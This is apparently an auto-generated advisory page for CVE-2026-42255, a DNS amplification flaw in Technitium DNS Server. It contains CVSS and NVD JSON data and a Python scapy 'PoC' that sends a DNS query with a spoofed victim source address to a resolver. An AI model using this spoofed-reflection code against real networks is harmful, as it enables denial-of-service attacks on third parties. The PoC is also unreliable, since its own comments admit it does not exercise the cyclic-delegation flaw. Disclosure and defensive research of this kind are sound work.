Security Vulnerability Report
中文
CVE-2026-42255 CVSS 7.2 HIGH

CVE-2026-42255

Published: 2026-04-26 04:16:06
Last Modified: 2026-04-29 18:55:00

Description

Technitium DNS Server before 15.0 allows DNS traffic amplification via cyclic name server delegation.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:technitium:dnsserver:*:*:*:*:*:*:*:* - VULNERABLE
Technitium DNS Server < 15.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import scapy.all as scapy # Configuration # Target: The vulnerable Technitium DNS Server IP target_dns = "192.168.1.100" # Victim: The IP address to receive the amplified traffic victim_ip = "203.0.113.50" # Construct IP layer with spoofed source address ip_layer = scapy.IP(src=victim_ip, dst=target_dns) # Construct UDP layer (DNS typically uses port 53) udp_layer = scapy.UDP(sport=12345, dport=53) # Construct DNS query # Note: To exploit cyclic delegation, the query name usually needs to be # crafted based on the specific zone configuration of the target server. # This example sends a standard query to demonstrate the packet structure. dns_layer = scapy.DNS(rd=1, qd=scapy.DNSQR(qname="example.com")) # Combine layers packet = ip_layer / udp_layer / dns_layer # Send the packet # In a real scenario, this would be sent in a loop to generate traffic print(f"Sending spoofed DNS query to {target_dns} reflecting to {victim_ip}") # scapy.send(packet)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42255", "sourceIdentifier": "[email protected]", "published": "2026-04-26T04:16:05.787", "lastModified": "2026-04-29T18:54:59.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Technitium DNS Server before 15.0 allows DNS traffic amplification via cyclic name server delegation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-684"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:technitium:dnsserver:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.0", "matchCriteriaId": "7F14BC9D-C63D-42B6-A0B9-D7FEB8473FD6"}]}]}], "references": [{"url": "https://github.com/TechnitiumSoftware/DnsServer/blob/master/CHANGELOG.md#technitium-dns-server-change-log", "source": "[email protected]", "tags": ["Release Notes"]}]}}